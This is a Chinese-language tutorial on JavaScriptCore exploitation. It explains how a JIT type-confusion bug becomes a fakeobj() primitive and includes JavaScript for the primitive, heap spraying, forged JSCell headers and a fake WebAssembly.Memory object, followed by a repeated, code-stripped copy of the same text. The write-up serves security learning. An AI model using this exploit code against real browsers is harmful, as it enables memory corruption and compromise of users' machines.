The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption - browser 0x05
字数 944 2025-08-05 08:20:09

FakeObj原语:将地址泄漏转化为内存破坏

1. 背景与概述

fakeobj()原语是基于addrof()中使用的漏洞,允许攻击者破坏JavaScriptCore内部对象的内存空间。与addrof()原语(用于泄漏对象地址)相反,fakeobj()可以将双精度浮点数解释为对象指针,从而创建伪造的JavaScript对象。

2. JavaScript对象内存布局

JavaScript对象在内存中的布局包含以下关键部分:

  • JSCell头部:包含标志和结构ID
  • Butterfly结构:用于存储数组元素和属性
  • 内联属性:直接存储在对象内存中的属性

示例内存布局:

0x62d0000d4080: 0x0100160000000126  # 标志和结构ID
0x62d0000d4088: 0x0000000000000000  # Butterfly指针
0x62d0000d4090: 0xffff000000000001  # 内联属性x=1

3. FakeObj原语实现

3.1 基本实现

function fakeobj(dbl) {
    var array = [13.37];
    var reg = /abc/y;
    
    var AddrSetter = function(array) {
        "abc".match(reg);
        array[0] = dbl;
    }
    
    // 强制优化
    for(var i = 0; i < 100000; ++i) AddrSetter(array);
    
    // 设置漏洞触发条件
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = {};
        return "0";
    };
    reg.lastIndex = regexLastIndex;
    
    // 执行
    AddrSetter(array);
    return array[0];
}

3.2 工作原理

  1. 创建一个包含双精度浮点数的数组
  2. JIT代码将双精度浮点数写入数组第一个元素
  3. 通过toString函数触发漏洞
  4. 引擎将数组转换为连续内存空间数组并放入对象指针
  5. JIT代码仍将其视为双精度数组,覆盖指针
  6. 返回被覆盖的"对象"

4. 伪造对象技术

4.1 构造JSCell头部

  1. 喷射大量对象以猜测有效的结构ID:
for(var i = 0; i < 0x1000; i++) {
    test = {};
    test.x = 1;
    test['prop_' + i] = 2;
}
  1. 构造64位JSCell头部值(包含标志和结构ID):
# Python代码
import struct
struct.unpack("d", struct.pack("Q", 0x0100160000001000 - 0x1000000000000))
  1. 将结果赋给伪造对象的属性:
fake.a = 7.082855106403439e-304;

4.2 设置Butterfly和内联属性

  1. 设置Butterfly指针:
fake.b = 2;
delete fake.b;  // 这会将其置为0x0
  1. 设置内联属性:
fake.c = 1337;  // 这将作为伪造对象的属性

5. 高级利用技术

5.1 Linus的解决方案

  1. 喷射Float64Array和WebAssembly.Memory对象:
var structs = [];
for(var i = 0; i < 0x5000; i++) {
    var a = new Float64Array(1);
    a['prop' + i] = 1337;
    structs.push(a);
}

for(var i = 0; i < 50; i++) {
    var a = new WebAssembly.Memory({initial: 0});
    a['prop' + i] = 1337;
    structs.push(a);
}
  1. 构造伪造的WebAssembly.Memory对象:
var wasmBuffer = {
    jsCellHeader: jsCellHeader.asJSValue(),
    butterfly: null,
    vector: null,
    memory: null,
    deleteMe: null
};
delete wasmBuffer.butterfly;

var wasmBufferRawAddr = addrof(wasmBuffer);
var wasmBufferAddr = Add(Int64.fromDouble(wasmBufferRawAddr), 16);
var fakeWasmBuffer = fakeobj(wasmBufferAddr.asDouble());
  1. 通过递增结构ID找到WebAssembly.Memory实例:
while(!(fakeWasmBuffer instanceof WebAssembly.Memory)) {
    jsCellHeader.assignAdd(jsCellHeader, Int64.One);
    wasmBuffer.jsCellHeader = jsCellHeader.asJSValue();
}

6. 关键点总结

  1. 类型混淆:利用JIT优化和动态类型系统的差异
  2. 内存布局控制:通过喷射对象控制内存布局
  3. 结构ID猜测:通过大量喷射确保成功匹配
  4. 对象伪造:精确控制内存布局伪造有效对象
  5. WebAssembly利用:通过伪造WebAssembly对象实现更高级利用

7. 防御措施

  1. 加强类型检查,防止类型混淆
  2. 改进JIT优化策略,避免不安全优化
  3. 引入结构ID随机化
  4. 加强对象内存布局的保护
  5. 实现更严格的指针检查机制

通过掌握这些技术,安全研究人员可以更好地理解浏览器漏洞利用的高级技术,并开发更有效的防御措施。

FakeObj原语:将地址泄漏转化为内存破坏 1. 背景与概述 fakeobj() 原语是基于 addrof() 中使用的漏洞,允许攻击者破坏JavaScriptCore内部对象的内存空间。与 addrof() 原语(用于泄漏对象地址)相反, fakeobj() 可以将双精度浮点数解释为对象指针,从而创建伪造的JavaScript对象。 2. JavaScript对象内存布局 JavaScript对象在内存中的布局包含以下关键部分: JSCell头部 :包含标志和结构ID Butterfly结构 :用于存储数组元素和属性 内联属性 :直接存储在对象内存中的属性 示例内存布局: 3. FakeObj原语实现 3.1 基本实现 3.2 工作原理 创建一个包含双精度浮点数的数组 JIT代码将双精度浮点数写入数组第一个元素 通过toString函数触发漏洞 引擎将数组转换为连续内存空间数组并放入对象指针 JIT代码仍将其视为双精度数组,覆盖指针 返回被覆盖的"对象" 4. 伪造对象技术 4.1 构造JSCell头部 喷射大量对象以猜测有效的结构ID: 构造64位JSCell头部值(包含标志和结构ID): 将结果赋给伪造对象的属性: 4.2 设置Butterfly和内联属性 设置Butterfly指针: 设置内联属性: 5. 高级利用技术 5.1 Linus的解决方案 喷射Float64Array和WebAssembly.Memory对象: 构造伪造的WebAssembly.Memory对象: 通过递增结构ID找到WebAssembly.Memory实例: 6. 关键点总结 类型混淆 :利用JIT优化和动态类型系统的差异 内存布局控制 :通过喷射对象控制内存布局 结构ID猜测 :通过大量喷射确保成功匹配 对象伪造 :精确控制内存布局伪造有效对象 WebAssembly利用 :通过伪造WebAssembly对象实现更高级利用 7. 防御措施 加强类型检查,防止类型混淆 改进JIT优化策略,避免不安全优化 引入结构ID随机化 加强对象内存布局的保护 实现更严格的指针检查机制 通过掌握这些技术,安全研究人员可以更好地理解浏览器漏洞利用的高级技术,并开发更有效的防御措施。